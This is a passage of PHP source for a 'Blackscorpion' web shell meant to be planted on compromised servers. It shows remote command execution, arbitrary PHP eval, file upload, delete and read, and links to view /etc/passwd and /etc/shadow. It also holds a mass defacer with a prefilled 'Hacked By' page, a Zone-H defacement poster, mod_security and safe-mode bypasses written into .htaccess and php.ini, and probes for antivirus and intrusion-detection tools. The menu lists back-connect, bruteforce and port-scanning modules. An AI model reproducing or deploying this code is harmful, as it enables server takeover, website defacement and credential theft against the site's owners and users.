294 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
295 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
296 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
297 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
298 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
299 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
300 var d = document;
301 function set(a,c,p1,p2,p3,charset) {
302 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
303 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
304 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
305 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
306 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
307 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
308 }
309 function g(a,c,p1,p2,p3,charset) {
310 set(a,c,p1,p2,p3,charset);
311 d.mf.submit();
312 }
313 function a(a,c,p1,p2,p3,charset) {
314 set(a,c,p1,p2,p3,charset);
315 var params = 'ajax=true';
316 for(i=0;i<d.mf.elements.length;i++)
317 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
318 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
319 }
320 function sr(url, params) {
321 if (window.XMLHttpRequest)
322 req = new XMLHttpRequest();
323 else if (window.ActiveXObject)
324 req = new ActiveXObject('Microsoft.XMLHTTP');
325 if (req) {
326 req.onreadystatechange = processReqChange;
327 req.open('POST', url, true);
328 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
329 req.send(params);
330 }
331 }
332 function processReqChange() {
333 if( (req.readyState == 4) )
334 if(req.status == 200) {
335 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
336 var arr=reg.exec(req.responseText);
337 eval(arr[2].substr(0, arr[1]));
338 } else alert('Request error!');
339 }
340</script>
341<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
342<form method=post name=mf style='display:none;'>
343<input type=hidden name=a>
344<input type=hidden name=c>
345<input type=hidden name=p1>
346<input type=hidden name=p2>
347<input type=hidden name=p3>
348<input type=hidden name=charset>
349</form>";
350 $freeSpace = @diskfreespace($GLOBALS['cwd']);
351 $totalSpace = @disk_total_space($GLOBALS['cwd']);
352 $totalSpace = $totalSpace?$totalSpace:1;
353 $release = @php_uname('r');
354 $kernel = @php_uname('s');
355 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
356 if(strpos('Linux', $kernel) !== false)
357 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
358 else
359 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
360 if(!function_exists('posix_getegid')) {
361 $user = @get_current_user();
362 $uid = @getmyuid();
363 $gid = @getmygid();
364 $group = "?";
365 } else {
366 $uid = @posix_getpwuid(posix_geteuid());
367 $gid = @posix_getgrgid(posix_getegid());
368 $user = $uid['name'];
369 $uid = $uid['uid'];
370 $group = $gid['name'];
371 $gid = $gid['gid'];
372 }
373 $cwd_links = '';
374 $path = explode("/", $GLOBALS['cwd']);
375 $n=count($path);
376 for($i=0; $i<$n-1; $i++) {
377 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
378 for($j=0; $j<=$i; $j++)
379 $cwd_links .= $path[$j].'/';
380 $cwd_links .= "\")'>".$path[$i]."/</a>";
381 }
382 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
383 $opt_charsets = '';
384 foreach($charsets as $item)
385 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
386
387 $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Defacer' => 'Deface','Shells'=>'Shells','Tools'=> 'Tools','Port Scanner' => 'PortScanner','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Back-Connect'=>'Network','Injector'=>'Injector','Domains' => 'Domain','Zone-h' => 'ZHposter','About Me'=>'About');
388 if(!empty($GLOBALS['auth_pass']))
389 $m['Logout'] = 'Logout';
390 $m['Self remove'] = 'SelfRemove';
391 $menu = '';
392 foreach($m as $k => $v)
393 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
394 if($GLOBALS['os'] == 'nix') {
395 $dominios = @file_get_contents("/etc/named.conf");
396 if(!$dominios) {
397 $DomainS = "/var/named";
398 $Domainonserver = scandir($DomainS);
399 $d0c = count($Domainonserver);
400 } else {
401 @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
402 $out = sizeof(array_unique($out[1]));
403 $d0c = $out." Domains";
404 }
405 } else {
406 $d0c = "None";
407 }
408
409 $drives = "";
410 if($GLOBALS['os'] == 'win') {
411 foreach(range('c','z') as $drive)
412 if(is_dir($drive.':\\'))
413 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
414 }
415 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
416 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
417 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('h:i:s d-m-Y') . '<br>' . BlackscorpionViewSize($totalSpace) . ' <span>Free:</span> ' . BlackscorpionViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. BlackscorpionColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . ''
418 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Domains : </span>' .$d0c. '<br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
419 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
420}
421function BlackscorpionFooter() {
422 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
423 echo "
424</div>
425<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
426 <tr>
427 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
428 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
429 </tr><tr><hr>
430 <center><form action='' method='POST'><input type='submit' name='defacepage' value='Add Deface Here'></form></center><hr>
431 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
432 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
433 </tr><tr>
434 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
435 <td><form method='post' ENCTYPE='multipart/form-data'>
436 <input type=hidden name=a value='FilesMAn'>
437 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
438 <input type=hidden name=p1 value='uploadFile'>
439 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
440 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
441 </tr></table></div></body></html>";
442}
443if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
444 function posix_getpwuid($p) {return false;} }
445if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
446 function posix_getgrgid($p) {return false;} }
447function BlackscorpionEx($in) {
448 $out = '';
449 if (function_exists('exec')) {
450 @exec($in,$out);
451 $out = @join("\n",$out);
452 } elseif (function_exists('passthru')) {
453 ob_start();
454 @passthru($in);
455 $out = ob_get_clean();
456 } elseif (function_exists('system')) {
457 ob_start();
458 @system($in);
459 $out = ob_get_clean();
460 } elseif (function_exists('shell_exec')) {
461 $out = shell_exec($in);
462 } elseif (is_resource($f = @popen($in,"r"))) {
463 $out = "";
464 while(!@feof($f))
465 $out .= fread($f,1024);
466 pclose($f);
467 }
468 return $out;
469}
470function BlackscorpionViewSize($s) {
471 if (is_int($s))
472 $s = sprintf("%u", $s);
473
474 if($s >= 1073741824)
475 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
476 elseif($s >= 1048576)
477 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
478 elseif($s >= 1024)
479 return sprintf('%1.2f', $s / 1024 ) . ' KB';
480 else
481 return $s . ' B';
482}
483function BlackscorpionPerms($p) {
484 if (($p & 0xC000) == 0xC000)$i = 's';
485 elseif (($p & 0xA000) == 0xA000)$i = 'l';
486 elseif (($p & 0x8000) == 0x8000)$i = '-';
487 elseif (($p & 0x6000) == 0x6000)$i = 'b';
488 elseif (($p & 0x4000) == 0x4000)$i = 'd';
489 elseif (($p & 0x2000) == 0x2000)$i = 'c';
490 elseif (($p & 0x1000) == 0x1000)$i = 'p';
491 else $i = 'u';
492 $i .= (($p & 0x0100) ? 'r' : '-');
493 $i .= (($p & 0x0080) ? 'w' : '-');
494 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
495 $i .= (($p & 0x0020) ? 'r' : '-');
496 $i .= (($p & 0x0010) ? 'w' : '-');
497 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
498 $i .= (($p & 0x0004) ? 'r' : '-');
499 $i .= (($p & 0x0002) ? 'w' : '-');
500 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
501 return $i;
502}
503function BlackscorpionColor($f) {
504 if (!@is_readable($f))
505 return '<font color=#FF0000>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
506 elseif (!@is_writable($f))
507 return '<font color=white>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
508 else
509 return '<font color=#25ff00>' . BlackscorpionPerms(@fileperms($f)) . '</font>';
510}
511function BlackscorpionScandir($dir) {
512 if(function_exists("scandir")) {
513 return scandir($dir);
514 } else {
515 $dh = opendir($dir);
516 while (false !== ($filename = readdir($dh)))
517 $files[] = $filename;
518 return $files;
519 }
520}
521function BlackscorpionWhicH($p) {
522 $path = BlackscorpionEx('which ' . $p);
523 if(!empty($path))
524 return $path;
525 return false;
526}
527function actionSecInfo() {
528 BlackscorpionHeader();
529 echo '<center><h1>Server security information</h1></center><div class=content>';
530 function BlackscorpionSecPaRaM($n, $v) {
531 $v = trim($v);
532 if($v) {
533 echo '<span>' . $n . ': </span>';
534 if(strpos($v, "\n") === false)
535 echo $v . '<br>';
536 else
537 echo '<pre class=ml1>' . $v . '</pre>';
538 }
539 }
540 BlackscorpionSecPaRaM('Server software', @getenv('SERVER_SOFTWARE'));
541 if(function_exists('apache_get_modules'))
542 BlackscorpionSecPaRaM('Loaded Apache modules', implode(', ', apache_get_modules()));
543 BlackscorpionSecPaRaM('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
544 BlackscorpionSecPaRaM('Open base dir', @ini_get('open_basedir'));
545 BlackscorpionSecPaRaM('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
546 BlackscorpionSecPaRaM('Safe mode include dir', @ini_get('safe_mode_include_dir'));
547 BlackscorpionSecPaRaM('cURL support', function_exists('curl_version')?'enabled':'no');
548 $temp=array();
549 if(function_exists('mysql_get_client_info'))
550 $temp[] = "MySql (".mysql_get_client_info().")";
551 if(function_exists('mssql_connect'))
552 $temp[] = "MSSQL";
553 if(function_exists('pg_connect'))
554 $temp[] = "PostgreSQL";
555 if(function_exists('oci_connect'))
556 $temp[] = "Oracle";
557 BlackscorpionSecPaRaM('Supported databases', implode(', ', $temp));
558 echo '<br>';
559 if($GLOBALS['os'] == 'nix') {
560 BlackscorpionSecPaRaM('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
561 BlackscorpionSecPaRaM('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
562 BlackscorpionSecPaRaM('OS version', @file_get_contents('/proc/version'));
563 BlackscorpionSecPaRaM('Distr name', @file_get_contents('/etc/issue.net'));
564 if(!$GLOBALS['safe_mode']) {
565 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
566 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
567 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
568 echo '<br>';
569 $temp=array();
570 foreach ($userful as $item)
571 if(BlackscorpionWhicH($item))
572 $temp[] = $item;
573 BlackscorpionSecPaRaM('Userful', implode(', ',$temp));
574 $temp=array();
575 foreach ($danger as $item)
576 if(BlackscorpionWhicH($item))
577 $temp[] = $item;
578 BlackscorpionSecPaRaM('Danger', implode(', ',$temp));
579 $temp=array();
580 foreach ($downloaders as $item)
581 if(BlackscorpionWhicH($item))
582 $temp[] = $item;
583 BlackscorpionSecPaRaM('Downloaders', implode(', ',$temp));
584 echo '<br/>';
585 BlackscorpionSecPaRaM('HDD space', BlackscorpionEx('df -h'));
586 BlackscorpionSecPaRaM('Hosts', @file_get_contents('/etc/hosts'));
587 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
588 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
589 $temp = "";
590 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
591 $uid = @posix_getpwuid($_POST['p2']);
592 if ($uid)
593 $temp .= join(':',$uid)."\n";
594 }
595 echo '<br/>';
596 BlackscorpionSecPaRaM('Users', $temp);
597 }
598 }
599 } else {
600 BlackscorpionSecPaRaM('OS Version',BlackscorpionEx('ver'));
601 BlackscorpionSecPaRaM('Account Settings',BlackscorpionEx('net accounts'));
602 BlackscorpionSecPaRaM('User Accounts',BlackscorpionEx('net user'));
603 }
604 echo '</div>';
605 BlackscorpionFooter();
606}
607function actionDeface() {
608 BlackscorpionHeader();
609 echo "<center><h1>Mass Defacer</h1></center><div class=content>";
610?>
611
612<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
613<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
614<br>file name : <input type=text name=file size=20 value="index.php">
615<br>Text Content : <br><textarea type=text name=Contents cols=70 rows=15 placeholder="Deface Text Here"><!Doctype html>
616 <html>
617 <head>
618 <script>alert("Hacked By Blackscorpion ");</script>
619 <script>alert("Team Pak Cyber Ghosts [P.C.G]");</script>
620 <title> Hacked By Blackscorpion And 8B0K3N H34R7 </title>
621 </head>
622
623 <body bgcolor="black">
624 <center><br><br><br><br>
625 <font size="30" color="red" face="calibri"> Hacked By Blackscorpion And 8B0K3N H34R7 </font><br>
626 <font size="30" color="red" face="calibri"> Team Pak Cyber Ghosts [P.C.G]</font><iframe src="https://www.youtube.com/embed/nPGIdTAeOSg?rel=0&autoplay=1&loop=1&playlist=nPGIdTAeOSg" allowfullscreen="" frameborder="0" height="0" width="0"></iframe><body bgcolor="black"><center><script language="JavaScript1.2">function ejs_nodroit(){alert(' Pakistan Zindabad <3 ');return(false);}document.oncontextmenu = ejs_nodroit;</script><br><br><font size="5" color="white" face="calibri"> Pakistan Zindabad </font><br><br><br><font size="5" color="white" face="calibri"> Greetz ~<marquee width="80%"># Shariq Maik | # Prinxe Haxi | # Blackscorpion | # Unknown | # Wahab Hacker | # Rizi Haxor | # 8R0K3N H34R7 | # CYB3R71 | # 3htisham | # And All Muslims</marquee></font><br></center>
627 </body>
628 </html></textarea>
629<br><input type=submit value="Update"></p></form>
630
631<?php
632 if ($_POST['a'] == 'Deface') {
633 $mainpath = $_POST[p1];
634 $file = $_POST[p2];
635 $txtContents = $_POST[p3];
636 echo "-----------------------------------------------<br>
637[+] Single user Mass defacer [+]<br>
638-----------------------------------------------<br><br> ";
639 $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
640 while ($row = readdir($dir)) {
641 $start = @fopen("$row/$file", "w");
642 $code = $txtContents;
643 $finish = @fwrite($start, $code);
644 if ($finish) {
645 echo "$row/$file > Done<br><br>";
646 }
647 }
648 echo "-----------------------------------------------<br><br>[+] Script by Blackscorpion [+]";
649 }
650 echo '</div>';
651 BlackscorpionFooter();
652
653 }
654 function actionZHposter() {
655 BlackscorpionHeader();
656 echo '<center><h1>Zone-H Poster</h1></center></center><br><div class=content>';
657 echo '<form action="" method="post" onSubmit=da2(null,null,this.p1.value,this.p2.value,this.p3.value,this.p4.value);return true;">
658<input type="text" name="p1" size="40" value="Blackscorpion " /></br>
659<select name="p2">
660<option >--------SELECT--------</option>
661<option value="1">known vulnerability (i.e. unpatched system)</option>
662<option value="2" >undisclosed (new) vulnerability</option>
663<option value="3" >configuration / admin. mistake</option>
664<option value="4" >brute force attack</option>
665<option value="5" >social engineering</option>
666<option value="6" >Web Server intrusion</option>
667<option value="7" >Web Server external module intrusion</option>
668<option value="8" >Mail Server intrusion</option>
669<option value="9" >FTP Server intrusion</option>
670<option value="10" >SSH Server intrusion</option>
671<option value="11" >Telnet Server intrusion</option>
672<option value="12" >RPC Server intrusion</option>
673<option value="13" >Shares misconfiguration</option>
674<option value="14" >Other Server intrusion</option>
675<option value="15" >SQL Injection</option>
676<option value="16" >URL Poisoning</option>
677<option value="17" >File Inclusion</option>
678<option value="18" >Other Web Application bug</option>
679<option value="19" >Remote administrative panel access bruteforcing</option>
680<option value="20" >Remote administrative panel access password guessing</option>
681<option value="21" >Remote administrative panel access social engineering</option>
682<option value="22" >Attack against administrator(password stealing/sniffing)</option>
683<option value="23" >Access credentials through Man In the Middle attack</option>
684<option value="24" >Remote service password guessing</option>
685<option value="25" >Remote service password bruteforce</option>
686<option value="26" >Rerouting after attacking the Firewall</option>
687<option value="27" >Rerouting after attacking the Router</option>
688<option value="28" >DNS attack through social engineering</option>
689<option value="29" >DNS attack through cache poisoning</option>
690<option value="30" >Not available</option>
691</select>
692</br>
693<select name="p3">
694<option >--------SELECT--------</option>
695<option value="1" >Heh...just for fun!</option>
696<option value="2" >Revenge against that website</option>
697<option value="3" >Political reasons</option>
698<option value="4" >As a challenge</option>
699<option value="5" >I just want to be the best defacer</option>
700<option value="6" >Patriotism</option>
701<option value="7" >Not available</option>
702</select>
703</br>
704<textarea name="p4" cols="44" rows="9">List Of Domains</textarea>
705<input type="submit" value="Send Now !" />
706</form>';
707 echo "</td></tr></table></form>";
708 if ($_POST['a'] == 'ZHposter') {
709 ob_start();
710 $sub = @get_loaded_extensions();
711 if (!in_array("curl", $sub)) {
712 die('[-] Curl Is Not Supported !! ');
713 }
714 $hacker9 = $_POST['p1'];
715 $method9 = $_POST['p2'];
716 $neden9 = $_POST['p3'];
717 $site9 = $_POST['p4'];
718 if (empty($hacker9)) {
719 die("[-] You Must Fill the Attacker name !");
720 } elseif ($method9 == "--------SELECT--------") {
721 die("[-] You Must Select The Method !");
722 } elseif ($neden9 == "--------SELECT--------") {
723 die("[-] You Must Select The Reason");
724 } elseif (empty($site9)) {
725 die("[-] You Must Inter the Sites List ! ");
726 }
727 $i = 0;
728 $sites = explode("
729", $site9);
730 while ($i < count($sites)) {
731 if (substr($sites[$i], 0, 4) != "http") {
732 $sites[$i] = "http://" . $sites[$i];
733 }
734 ZoneH("http://zone-h.org/notify/single", $hacker9, $method9, $neden9, $sites[$i]);
735 echo "Site : " . $sites[$i] . " Defaced ! </br>";
736 ++$i;
737 }
738 echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
739 }
740 echo '</div></center>';
741 BlackscorpionFooter();
742 }
743
744function actionAbout() {
745 BlackscorpionHeader();
746echo "
747<style>
748 .font{
749 text-transform: capitalize;
750 text-align: center;
751 }
752</style>
753<center>
754<h1>About Me</h1>
755<h2><a href='https://www.google.com/search?q=Hacked by ProBros'><q>Blackscorpion </q></a></h2>
756<div class='font'><span>
757
758 <q>My Name is Salman Arf Khan , Cyber Name Blackscorpion.<br>I Love to Explore Everything.<br>Break Security.<br>And Other Hacking STuff :P <br></span>
759 <span><font>Greetz ~<marquee width='80%''>Blackscorpion , Devil killer, Black Python , Owl Master , Frostbyte , SHK v3n0m , And All Muslim Hackers</marquee></span></font></span></div></center>
760 ";
761 BlackscorpionFooter();
762}
763 function actionSafeMode() {
764 $temp='';
765 ob_start();
766 switch($_POST['p1']) {
767 case 1:
768 $temp=@tempnam($test, 'cx');
769 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
770 echo @file_get_contents($temp);
771 unlink($temp);
772 } else
773 echo 'Sorry... Can\'t open file';
774 break;
775 case 2:
776 $files = glob($_POST['p2'].'*');
777 if( is_array($files) )
778 foreach ($files as $filename)
779 echo $filename."\n";
780 break;
781 case 3:
782 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
783 curl_exec($ch);
784 break;
785 case 4:
786 ini_restore("safe_mode");
787 ini_restore("open_basedir");
788 include($_POST['p2']);
789 break;
790 case 5:
791 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
792 $uid = @posix_getpwuid($_POST['p2']);
793 if ($uid)
794 echo join(':',$uid)."\n";
795 }
796 break;
797 }
798 $temp = ob_get_clean();
799 BlackscorpionHeader();
800 echo '<center><h1>Safe mode bypass</h1></center><center><div class=content>';
801 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
802 if($temp)
803 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
804 echo '</div><br>';
805 echo '<h1>Safe Mode</h1>';
806 echo '<div class="content">';
807 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
808 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
809 if(!empty($_POST['p2']) && isset($_POST['p2']))
810 {
811 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
812 fwrite($fil,'<IfModule mod_security.c>
813 Sec------Engine Off
814 Sec------ScanPOST Off
815 </IfModule>');
816 fclose($fil);
817 }
818 if(!empty($_POST['p1'])&& isset($_POST['p1']))
819 {
820 $fil=fopen($GLOBALS['cwd']."php.ini","w");
821 fwrite($fil,'safe_mode=OFF
822 disable_functions=NONE');
823 fclose($fil);
824 }
825 if(!empty($_POST['p3']) && isset($_POST['p3']))
826 {
827 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
828 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
829 AddType application/x-httpd-cgi .sh
830 AddHandler cgi-script .pl
831 AddHandler cgi-script .pl');
832 fclose($fil);
833 }
834 echo "<br><br /><br /></div>";
835 echo '</div>';
836 BlackscorpionFooter();
837 }
838function actionPhp() {
839 if(isset($_POST['ajax'])) {
840 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
841 ob_start();
842 eval($_POST['p1']);
843 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
844 echo strlen($temp), "\n", $temp;
845 exit;
846 }
847 if(empty($_POST['ajax']) && !empty($_POST['p1']))
848 BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
849 BlackscorpionHeader();
850 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
851 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
852 ob_start();
853 phpinfo();
854 $tmp = ob_get_clean();
855 $tmp = preg_replace(array (
856 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
857 '!td, th {(.*)}!msiU',
858 '!<img[^>]+>!msiU',
859 ), array (
860 '',
861 '.e, .v, .h, .h th {$1}',
862 ''
863 ), $tmp);
864 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
865 }
866 echo '<center><h1>Execution PHP-code</h1></center><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
867 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
868 if(!empty($_POST['p1'])) {
869 ob_start();
870 eval($_POST['p1']);
871 echo htmlspecialchars(ob_get_clean());
872 }
873 echo '</pre></div>';
874 BlackscorpionFooter();
875}
876function actionFilesMan() {
877 if (!empty ($_COOKIE['f']))
878 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
879
880 if(!empty($_POST['p1'])) {
881 switch($_POST['p1']) {
882 case 'uploadFile':
883 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
884 echo "Can't upload!";
885 break;
886 case 'mkdir':
887 if(!@mkdir($_POST['p2']))
888 echo "Can't create!";
889 break;
890 case 'delete':
891 function deleteDir($path) {
892 $path = (substr($path,-1)=='/') ? $path:$path.'/';
893 $dh = opendir($path);
894 while ( ($item = readdir($dh) ) !== false) {
895 $item = $path.$item;
896 if ( (basename($item) == "..") || (basename($item) == ".") )
897 continue;
898 $type = filetype($item);
899 if ($type == "dir")
900 deleteDir($item);
901 else
902 @unlink($item);
903 }
904 closedir($dh);
905 @rmdir($path);
906 }
907 if(is_array(@$_POST['f']))
908 foreach($_POST['f'] as $f) {
909 if($f == '..')
910 continue;
911 $f = urldecode($f);
912 if(is_dir($f))
913 deleteDir($f);
914 else
915 @unlink($f);
916 }
917 break;
918 case 'paste':
919 if($_COOKIE['act'] == 'copy') {
920 function copy_paste($c,$s,$d){
921 if(is_dir($c.$s)){
922 mkdir($d.$s);
923 $h = @opendir($c.$s);
924 while (($f = @readdir($h)) !== false)
925 if (($f != ".") and ($f != ".."))
926 copy_paste($c.$s.'/',$f, $d.$s.'/');
927 } elseif(is_file($c.$s))
928 @copy($c.$s, $d.$s);
929 }
930 foreach($_COOKIE['f'] as $f)
